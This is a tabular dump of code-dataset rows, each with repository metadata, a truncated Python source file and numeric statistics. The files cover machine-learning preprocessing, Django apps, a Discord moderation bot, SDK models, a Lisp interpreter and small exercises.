] | null | null | null | embeddings.py | ramanshgrover/A-Modern-Approach-To-Image-Captioning | 406ea70d82821e84cdeb50da29751837f54b4024 | [
"MIT"
] | null | null | null | '''
This code was written by following the following tutorial:
Link: https://medium.com/@martinpella/how-to-use-pre-trained-word-embeddings-in-pytorch-71ca59249f76
This script processes and generates GloVe embeddings
'''
# coding: utf-8
import pickle
from preprocess import Vocabulary
import numpy as np
import json
fr... | 28.096774 | 100 | 0.672216 | 270 | 1,742 | 4.285185 | 0.385185 | 0.060501 | 0.054451 | 0.072602 | 0.159896 | 0.143475 | 0.143475 | 0.046672 | 0 | 0 | 0 | 0.056617 | 0.158439 | 1,742 | 61 | 101 | 28.557377 | 0.732606 | 0.130884 | 0 | 0 | 1 | 0 | 0.193891 | 0.096946 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.142857 | 0.071429 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
23a3dad9ccc776607f1b7ac76bc8814346f488ee | 899 | py | Python | nihars.com/server.py | niharokz/website_archive | a5eed3afdb2b07f753997d9a49492a18c4f6bfb0 | [
"MIT"
] | null | null | null | nihars.com/server.py | niharokz/website_archive | a5eed3afdb2b07f753997d9a49492a18c4f6bfb0 | [
"MIT"
] | null | null | null | nihars.com/server.py | niharokz/website_archive | a5eed3afdb2b07f753997d9a49492a18c4f6bfb0 | [
"MIT"
] | null | null | null | #!/bin/python
#
# ███╗░░██╗██╗██╗░░██╗░█████╗░██████╗░░█████╗░██╗░░██╗███████╗
# ████╗░██║██║██║░░██║██╔══██╗██╔══██╗██╔══██╗██║░██╔╝╚════██║
# ██╔██╗██║██║███████║███████║██████╔╝██║░░██║█████═╝░░░███╔═╝
# ██║╚████║██║██╔══██║██╔══██║██╔══██╗██║░░██║██╔═██╗░██╔══╝░░
# ██║░╚███║██║██║░░██... | 29 | 69 | 0.387097 | 75 | 899 | 9.346667 | 0.68 | 0.042796 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021795 | 0.132369 | 899 | 30 | 70 | 29.966667 | 0.415385 | 0.640712 | 0 | 0 | 0 | 0 | 0.067961 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.3 | 0 | 0.3 | 0.1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
23aa0895eb0d607ccb03bfdc0909cbead9af3dbe | 1,199 | py | Python | pytglib/api/functions/write_generated_file_part.py | iTeam-co/pytglib | e5e75e0a85f89b77762209b32a61b0a883c0ae61 | [
"MIT"
] | 6 | 2019-10-30T08:57:27.000Z | 2021-02-08T14:17:43.000Z | pytglib/api/functions/write_generated_file_part.py | iTeam-co/python-telegram | e5e75e0a85f89b77762209b32a61b0a883c0ae61 | [
"MIT"
] | 1 | 2021-08-19T05:44:10.000Z | 2021-08-19T07:14:56.000Z | pytglib/api/functions/write_generated_file_part.py | iTeam-co/python-telegram | e5e75e0a85f89b77762209b32a61b0a883c0ae61 | [
"MIT"
] | 5 | 2019-12-04T05:30:39.000Z | 2021-05-21T18:23:32.000Z |
from ..utils import Object
class WriteGeneratedFilePart(Object):
"""
Writes a part of a generated file. This method is intended to be used only if the client has no direct access to TDLib's file system, because it is usually slower than a direct write to the destination file
Attributes:
ID (:ob... | 29.243902 | 210 | 0.623853 | 146 | 1,199 | 5.047945 | 0.458904 | 0.113976 | 0.07327 | 0.059701 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.281902 | 1,199 | 40 | 211 | 29.975 | 0.855981 | 0.468724 | 0 | 0 | 1 | 0 | 0.118584 | 0.077876 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.071429 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
23aacd3ef48f6e6b738df62213039c4b132f44eb | 431 | py | Python | setup.py | kim-younghan/MultiResUNet | 1c4a77973c18ada6dab009ed603682dfdd20c54d | [
"MIT"
] | 23 | 2020-06-17T07:43:48.000Z | 2022-03-10T12:47:01.000Z | setup.py | kim-younghan/MultiResUNet | 1c4a77973c18ada6dab009ed603682dfdd20c54d | [
"MIT"
] | 4 | 2020-07-09T12:03:24.000Z | 2021-03-31T13:25:17.000Z | setup.py | kim-younghan/MultiResUNet | 1c4a77973c18ada6dab009ed603682dfdd20c54d | [
"MIT"
] | 5 | 2020-08-25T13:49:34.000Z | 2021-11-27T02:54:24.000Z | from setuptools import setup, find_packages
setup(
name = 'multiresunet',
version = '0.1',
description = 'MultiResUNet implementation in PyTorch; MultiResUNet: Rethinking the U-Net Architecture for Multimodal',
author = 'Younghan Kim',
author_email = 'godppkyh@mos... | 33.153846 | 127 | 0.62645 | 42 | 431 | 6.309524 | 0.809524 | 0.090566 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01278 | 0.273782 | 431 | 12 | 128 | 35.916667 | 0.833866 | 0 | 0 | 0 | 0 | 0 | 0.359629 | 0.048724 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.090909 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
23b94a99cc479656f99c494042bf6b8af15237fc | 2,034 | py | Python | tony-setanddict.py | tonythott/tonnewcode | 3dd595abf454aeb2f9abafe6c662ada5a6b0a966 | [
"MIT"
] | null | null | null | tony-setanddict.py | tonythott/tonnewcode | 3dd595abf454aeb2f9abafe6c662ada5a6b0a966 | [
"MIT"
] | null | null | null | tony-setanddict.py | tonythott/tonnewcode | 3dd595abf454aeb2f9abafe6c662ada5a6b0a966 | [
"MIT"
] | null | null | null | '''
#set is a container that stores a collection of unique values
#Union , intersection , substraction for sets
#Substruction means remove elements from intersection of a and b
list =[] #empty list
setN = {} #error
setN = set() #empty set
cast = {"tony","preetha","luke"}
if luke in cast:
for tony in sorte... | 17.237288 | 113 | 0.617994 | 314 | 2,034 | 4.003185 | 0.404459 | 0.027844 | 0.02148 | 0.022275 | 0.035004 | 0.035004 | 0 | 0 | 0 | 0 | 0 | 0.026549 | 0.222222 | 2,034 | 117 | 114 | 17.384615 | 0.768015 | 0.684857 | 0 | 0.148148 | 0 | 0 | 0.163065 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.481481 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
23c2198ffc1cd015135292d9ef3a138598d45607 | 7,547 | py | Python | stage_data/main.py | shermanflan/clinical-data-architecture | 4d0dc1d97e95044ea7509c6da5ab93f2ac9b0b99 | [
"MIT"
] | null | null | null | stage_data/main.py | shermanflan/clinical-data-architecture | 4d0dc1d97e95044ea7509c6da5ab93f2ac9b0b99 | [
"MIT"
] | null | null | null | stage_data/main.py | shermanflan/clinical-data-architecture | 4d0dc1d97e95044ea7509c6da5ab93f2ac9b0b99 | [
"MIT"
] | null | null | null | """
Usage:
- From Spark 3.1.1 base container with Python bindings:
docker run --rm -it --name test_pyspark spark-ingest:latest /bin/bash
./bin/spark-submit spark-ingest/main.py --filepath ./examples/src/main/python/pi.py
- From binaries:
./pyspark --packages io.delta:delta-core_2.12:1.0.0 \
--conf "spark.sql.extens... | 41.240437 | 113 | 0.705578 | 1,008 | 7,547 | 5.16369 | 0.282738 | 0.042267 | 0.029587 | 0.027666 | 0.379059 | 0.308357 | 0.297214 | 0.274159 | 0.245341 | 0.185591 | 0 | 0.010731 | 0.148006 | 7,547 | 182 | 114 | 41.467033 | 0.798756 | 0.452763 | 0 | 0.104651 | 0 | 0 | 0.331309 | 0.13915 | 0 | 0 | 0 | 0.016484 | 0 | 1 | 0.046512 | false | 0.023256 | 0.104651 | 0 | 0.151163 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
23cb55165b88df22bb77657234bc12be89743235 | 1,092 | py | Python | libp2p/network/connection/raw_connection.py | ChihChengLiang/py-libp2p | f0046fa3e0952b492837a698b1988e05c9821f47 | [
"Apache-2.0",
"MIT"
] | null | null | null | libp2p/network/connection/raw_connection.py | ChihChengLiang/py-libp2p | f0046fa3e0952b492837a698b1988e05c9821f47 | [
"Apache-2.0",
"MIT"
] | null | null | null | libp2p/network/connection/raw_connection.py | ChihChengLiang/py-libp2p | f0046fa3e0952b492837a698b1988e05c9821f47 | [
"Apache-2.0",
"MIT"
] | null | null | null | from .raw_connection_interface import IRawConnection
class RawConnection(IRawConnection):
def __init__(self, ip, port, reader, writer, initiator):
# pylint: disable=too-many-arguments
self.conn_ip = ip
self.conn_port = port
self.reader = reader
self.writer = writer
... | 28.736842 | 79 | 0.619963 | 137 | 1,092 | 4.79562 | 0.467153 | 0.076104 | 0.045662 | 0.057839 | 0.039574 | 0 | 0 | 0 | 0 | 0 | 0 | 0.003866 | 0.289377 | 1,092 | 37 | 80 | 29.513514 | 0.842784 | 0.191392 | 0 | 0 | 0 | 0 | 0.004711 | 0 | 0 | 0 | 0 | 0.027027 | 0 | 1 | 0.130435 | false | 0 | 0.043478 | 0 | 0.304348 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
23cc0be471daad2bd140c21ad9184115981fd42c | 3,372 | py | Python | sdk/python/pulumi_gcp/compute/get_default_service_account.py | 23doors/pulumi-gcp | ded01b199f95b164884266ea3e6f8206c8231270 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2019-12-20T22:08:20.000Z | 2019-12-20T22:08:20.000Z | sdk/python/pulumi_gcp/compute/get_default_service_account.py | pellizzetti/pulumi-gcp | fad74dd55a0cf7723f73046bb0e6fcbfd948ba84 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | sdk/python/pulumi_gcp/compute/get_default_service_account.py | pellizzetti/pulumi-gcp | fad74dd55a0cf7723f73046bb0e6fcbfd948ba84 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import json
import warnings
import pulumi
import pulumi.runtime
from typing import Union
from .. import utilities, tables
class GetDef... | 38.758621 | 173 | 0.65866 | 406 | 3,372 | 5.221675 | 0.305419 | 0.041509 | 0.045283 | 0.070755 | 0.158491 | 0.096226 | 0 | 0 | 0 | 0 | 0 | 0.000396 | 0.251779 | 3,372 | 86 | 174 | 39.209302 | 0.839873 | 0.180902 | 0 | 0 | 1 | 0 | 0.144454 | 0.026225 | 0 | 0 | 0 | 0 | 0 | 1 | 0.057692 | false | 0 | 0.115385 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
23db2526b23e6da448d4bd15554143b39addc946 | 577 | py | Python | example/servers/migrations/0004_auto_20170524_0707.py | jayvdb/django-test-tools | a832cc6acf8e45c8d6b0cd5e3c424b95595c1855 | [
"MIT"
] | 9 | 2017-04-29T20:21:07.000Z | 2021-11-16T07:00:01.000Z | example/servers/migrations/0004_auto_20170524_0707.py | jayvdb/django-test-tools | a832cc6acf8e45c8d6b0cd5e3c424b95595c1855 | [
"MIT"
] | 211 | 2017-11-21T00:23:03.000Z | 2022-03-28T02:06:25.000Z | example/servers/migrations/0004_auto_20170524_0707.py | jayvdb/django-test-tools | a832cc6acf8e45c8d6b0cd5e3c424b95595c1855 | [
"MIT"
] | 4 | 2017-11-21T18:19:53.000Z | 2021-05-24T06:34:16.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11 on 2017-05-24 12:07
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('servers', '0003_auto_20170523_1409'),
]
operations =... | 26.227273 | 135 | 0.667244 | 65 | 577 | 5.738462 | 0.692308 | 0.064343 | 0.075067 | 0.117962 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.07064 | 0.214905 | 577 | 21 | 136 | 27.47619 | 0.752759 | 0.114385 | 0 | 0 | 1 | 0 | 0.161417 | 0.090551 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.214286 | 0 | 0.428571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
23e196ad2658039e0a42f6be73d5a680f85e3c3e | 30,985 | py | Python | src/cogs/moderation.py | Necrozma200/Zeron | 92cd6581c16f5e694a9279af82e166599c2c7bb0 | [
"MIT"
] | 1 | 2021-12-10T12:28:21.000Z | 2021-12-10T12:28:21.000Z | src/cogs/moderation.py | Necrozma200/Zeron | 92cd6581c16f5e694a9279af82e166599c2c7bb0 | [
"MIT"
] | null | null | null | src/cogs/moderation.py | Necrozma200/Zeron | 92cd6581c16f5e694a9279af82e166599c2c7bb0 | [
"MIT"
] | null | null | null | import nextcord
from nextcord.channel import CategoryChannel,DMChannel
from nextcord.colour import Color
from nextcord.components import Button
from nextcord.embeds import Embed
from nextcord.ext import commands
from nextcord.ext.commands.cooldowns import BucketType
from nextcord.ui.view import View
from nextcord.ext i... | 43.640845 | 324 | 0.565241 | 3,440 | 30,985 | 5.04564 | 0.102035 | 0.040099 | 0.072593 | 0.063663 | 0.762574 | 0.728179 | 0.67696 | 0.614277 | 0.544564 | 0.529815 | 0 | 0.019427 | 0.330515 | 30,985 | 710 | 325 | 43.640845 | 0.817297 | 0 | 0 | 0.569094 | 0 | 0.008915 | 0.217532 | 0.014804 | 0 | 0 | 0 | 0 | 0 | 1 | 0.004458 | false | 0 | 0.02526 | 0 | 0.105498 | 0.004458 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
23e7219099d229b6264b8b48b1e058c387d1d691 | 1,869 | py | Python | brains/namelist/models.py | crisisking/udbraaains | 13fa4ca9baefd0ac0da7f54a8fedfccb2f82cd57 | [
"BSD-3-Clause"
] | 1 | 2020-06-06T03:22:12.000Z | 2020-06-06T03:22:12.000Z | brains/namelist/models.py | crisisking/udbraaains | 13fa4ca9baefd0ac0da7f54a8fedfccb2f82cd57 | [
"BSD-3-Clause"
] | null | null | null | brains/namelist/models.py | crisisking/udbraaains | 13fa4ca9baefd0ac0da7f54a8fedfccb2f82cd57 | [
"BSD-3-Clause"
] | null | null | null | import datetime
from django.db import models
class Category(models.Model):
class Meta:
verbose_name_plural = 'categories'
name = models.CharField(max_length=25, null=False, blank=False)
color_code = models.CharField(max_length=7, null=False, blank=False)
def __unicode__(self):
retur... | 34.611111 | 76 | 0.638844 | 232 | 1,869 | 4.913793 | 0.340517 | 0.071053 | 0.063158 | 0.084211 | 0.266667 | 0.17193 | 0.070175 | 0.070175 | 0 | 0 | 0 | 0.006677 | 0.278759 | 1,869 | 53 | 77 | 35.264151 | 0.839021 | 0.031568 | 0 | 0.357143 | 0 | 0 | 0.026608 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.047619 | 0.047619 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
23ebeb961ceb7c085ef89bdb58631857b77b281a | 14,422 | py | Python | clispy/macro/system_macro.py | takahish/lispy | 8a6eaf209d1564d20b457cbac7428b78dc529241 | [
"Apache-2.0"
] | 4 | 2018-04-07T09:11:29.000Z | 2021-11-20T03:02:07.000Z | clispy/macro/system_macro.py | takahish/clispy | 8a6eaf209d1564d20b457cbac7428b78dc529241 | [
"Apache-2.0"
] | null | null | null | clispy/macro/system_macro.py | takahish/clispy | 8a6eaf209d1564d20b457cbac7428b78dc529241 | [
"Apache-2.0"
] | null | null | null | # Copyright 2019 Takahiro Ishikawa. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable l... | 38.254642 | 129 | 0.644709 | 1,755 | 14,422 | 5.111681 | 0.148718 | 0.03032 | 0.028202 | 0.030431 | 0.566269 | 0.544755 | 0.506744 | 0.477762 | 0.453238 | 0.443652 | 0 | 0.000882 | 0.213424 | 14,422 | 377 | 130 | 38.254642 | 0.789933 | 0.406601 | 0 | 0.49635 | 0 | 0 | 0.072407 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.182482 | false | 0 | 0.087591 | 0 | 0.562044 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
23ec51592b4323a193f81866e630f9a7d42494f3 | 4,288 | py | Python | examples/calendar_widget.py | whitegreyblack/PyWin | 78f3637b4c03c11d7f6ef15b20a1acf699d4be24 | [
"MIT"
] | null | null | null | examples/calendar_widget.py | whitegreyblack/PyWin | 78f3637b4c03c11d7f6ef15b20a1acf699d4be24 | [
"MIT"
] | null | null | null | examples/calendar_widget.py | whitegreyblack/PyWin | 78f3637b4c03c11d7f6ef15b20a1acf699d4be24 | [
"MIT"
] | null | null | null | """Calendar_widget.py"""
import re
import curses
import random
import calendar
import itertools
import source.config as config
from collections import namedtuple
date = namedtuple("Date", "Year Month Day")
def iter_months_years(startDate: object, endDate: object) -> tuple:
"""Returns years and months based on giv... | 34.861789 | 78 | 0.653218 | 562 | 4,288 | 4.911032 | 0.382562 | 0.029348 | 0.013043 | 0.015217 | 0.028261 | 0.028261 | 0.028261 | 0.028261 | 0.028261 | 0.028261 | 0 | 0.019836 | 0.259328 | 4,288 | 122 | 79 | 35.147541 | 0.849181 | 0.378032 | 0 | 0 | 0 | 0 | 0.042935 | 0.022248 | 0 | 0 | 0 | 0.016393 | 0 | 1 | 0.076923 | false | 0 | 0.107692 | 0 | 0.215385 | 0.015385 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
23eea7f2ab58fdc794aa31d53e96c1b22b8c8849 | 858 | py | Python | templates/includes/loader.py | angeal185/flask-jinja-greensock-portfolio-webapp | 5c7995424a02cd3562aaebdbaf54e93bfc78a7ae | [
"MIT"
] | null | null | null | templates/includes/loader.py | angeal185/flask-jinja-greensock-portfolio-webapp | 5c7995424a02cd3562aaebdbaf54e93bfc78a7ae | [
"MIT"
] | null | null | null | templates/includes/loader.py | angeal185/flask-jinja-greensock-portfolio-webapp | 5c7995424a02cd3562aaebdbaf54e93bfc78a7ae | [
"MIT"
] | null | null | null | <script id="sf" type="x-shader/x-fragment">
precision highp float;
uniform float time;
uniform vec2 mouse;
uniform vec2 resolution;
float ball(vec2 p, float k, float d) {
vec2 r = vec2(p.x - cos(time * k) * d, p.y + sin(time * k) * d);
return smoothstep(0.0, 1.0, 0.03 / length(r));
}
void main(void... | 28.6 | 70 | 0.550117 | 144 | 858 | 3.263889 | 0.375 | 0.031915 | 0.046809 | 0.051064 | 0.106383 | 0.068085 | 0.068085 | 0 | 0 | 0 | 0 | 0.056782 | 0.261072 | 858 | 30 | 71 | 28.6 | 0.682965 | 0 | 0 | 0.133333 | 0 | 0 | 0.05187 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
23fb2fa8366562de19914b863c045a71d95db997 | 4,161 | py | Python | bandc/settings.py | crccheck/atx-bandc | 54d0eceb2992a70bfd97e24353cc9f550c1815f7 | [
"BSD-3-Clause"
] | null | null | null | bandc/settings.py | crccheck/atx-bandc | 54d0eceb2992a70bfd97e24353cc9f550c1815f7 | [
"BSD-3-Clause"
] | 26 | 2015-01-22T22:27:08.000Z | 2022-02-26T06:03:44.000Z | bandc/settings.py | crccheck/atx-bandc | 54d0eceb2992a70bfd97e24353cc9f550c1815f7 | [
"BSD-3-Clause"
] | null | null | null | # Build paths inside the project like this: os.path.join(BASE_DIR, ...)
import os
import dj_database_url
from project_runpy import env
BASE_DIR = os.path.dirname(__file__)
SECRET_KEY = env.get("SECRET_KEY", "Rotom")
DEBUG = env.get("DEBUG", False)
ALLOWED_HOSTS = ["*"]
INSTALLED_APPS = (
"bandc.apps.agenda.ap... | 29.721429 | 102 | 0.642153 | 416 | 4,161 | 6.274038 | 0.432692 | 0.074713 | 0.045594 | 0.021456 | 0.134866 | 0.101149 | 0 | 0 | 0 | 0 | 0 | 0.00269 | 0.195866 | 4,161 | 139 | 103 | 29.935252 | 0.777346 | 0.134583 | 0 | 0 | 0 | 0 | 0.518271 | 0.340028 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.050505 | 0.030303 | 0 | 0.030303 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
9b0f4628863b65f0ef9940d0083eba52f2850445 | 17,423 | py | Python | trustpayments/models/subscription_version.py | TrustPayments/python-sdk | 6fde6eb8cfce270c3612a2903a845c13018c3bb9 | [
"Apache-2.0"
] | 2 | 2020-01-16T13:24:06.000Z | 2020-11-21T17:40:17.000Z | trustpayments/models/subscription_version.py | TrustPayments/python-sdk | 6fde6eb8cfce270c3612a2903a845c13018c3bb9 | [
"Apache-2.0"
] | 4 | 2019-10-14T17:33:23.000Z | 2021-10-01T14:49:11.000Z | trustpayments/models/subscription_version.py | TrustPayments/python-sdk | 6fde6eb8cfce270c3612a2903a845c13018c3bb9 | [
"Apache-2.0"
] | 2 | 2019-10-15T14:17:10.000Z | 2021-09-17T13:07:09.000Z | # coding: utf-8
import pprint
import six
from enum import Enum
class SubscriptionVersion:
swagger_types = {
'activated_on': 'datetime',
'billing_currency': 'str',
'component_configurations': 'list[SubscriptionComponentConfiguration]',
'created_on': 'datetime',
'expec... | 30.946714 | 657 | 0.650634 | 1,853 | 17,423 | 5.882893 | 0.078791 | 0.041831 | 0.174296 | 0.059444 | 0.56637 | 0.441794 | 0.321989 | 0.224016 | 0.169709 | 0.150445 | 0 | 0.000317 | 0.275154 | 17,423 | 562 | 658 | 31.001779 | 0.862855 | 0.397693 | 0 | 0.096774 | 0 | 0 | 0.14322 | 0.051829 | 0 | 0 | 0 | 0 | 0 | 1 | 0.202765 | false | 0 | 0.013825 | 0.013825 | 0.43318 | 0.009217 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b0fc03eaf37f836f547370e58649bdc6c35c2c9 | 946 | py | Python | Janeiro/008-Digitos-Pares.py | brenodt/Desafio-365-dias-programando | 6c899b4f2e314b9a3a75734f39509a665016e206 | [
"MIT"
] | null | null | null | Janeiro/008-Digitos-Pares.py | brenodt/Desafio-365-dias-programando | 6c899b4f2e314b9a3a75734f39509a665016e206 | [
"MIT"
] | null | null | null | Janeiro/008-Digitos-Pares.py | brenodt/Desafio-365-dias-programando | 6c899b4f2e314b9a3a75734f39509a665016e206 | [
"MIT"
] | null | null | null | """Exercício 8:
Escreva uma função que receba dois números inteiros (a e b), e retorne uma lista contendo todos os números inteiros cujos dígitos são todos pares (a e b inclusos)"""
def digitos_pares(valor_inicial: int = 0, valor_final: int = 1000):
saida = []
# usando (valor final + 1) pois a função range n... | 35.037037 | 165 | 0.660677 | 142 | 946 | 4.34507 | 0.577465 | 0.06483 | 0.009724 | 0.032415 | 0.042139 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01895 | 0.274841 | 946 | 26 | 166 | 36.384615 | 0.880466 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038462 | 0 | 1 | 0.066667 | false | 0 | 0 | 0 | 0.133333 | 0.066667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
9b17e94e9a868860e5498b17e92614312144e145 | 763 | py | Python | fastapi_sso/sso/kakao.py | thdwoqor/fastapi-sso | 4cb62e66f9ff8b8856c824124c86051833a33f75 | [
"MIT"
] | null | null | null | fastapi_sso/sso/kakao.py | thdwoqor/fastapi-sso | 4cb62e66f9ff8b8856c824124c86051833a33f75 | [
"MIT"
] | null | null | null | fastapi_sso/sso/kakao.py | thdwoqor/fastapi-sso | 4cb62e66f9ff8b8856c824124c86051833a33f75 | [
"MIT"
] | null | null | null | import os
from typing import Dict
from fastapi_sso.sso.base import OpenID, SSOBase
class KakaoSSO(SSOBase):
provider = "kakao"
scope = ["openid"]
version = "v2"
async def get_discovery_document(self) -> Dict[str, str]:
return {
"authorization_endpoint": f"https://kauth.kakao.com/... | 34.681818 | 164 | 0.684142 | 95 | 763 | 5.347368 | 0.547368 | 0.05315 | 0.082677 | 0.074803 | 0.125984 | 0.125984 | 0.125984 | 0 | 0 | 0 | 0 | 0.001597 | 0.179554 | 763 | 21 | 165 | 36.333333 | 0.809904 | 0 | 0 | 0 | 0 | 0.0625 | 0.374836 | 0.028834 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.1875 | 0 | 0.5625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 |
9b19053ce45f4dd988b6dca6ae164ca9b2e3be54 | 5,666 | py | Python | pysnmp/TPLINK-PROTOCOL-VLAN-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
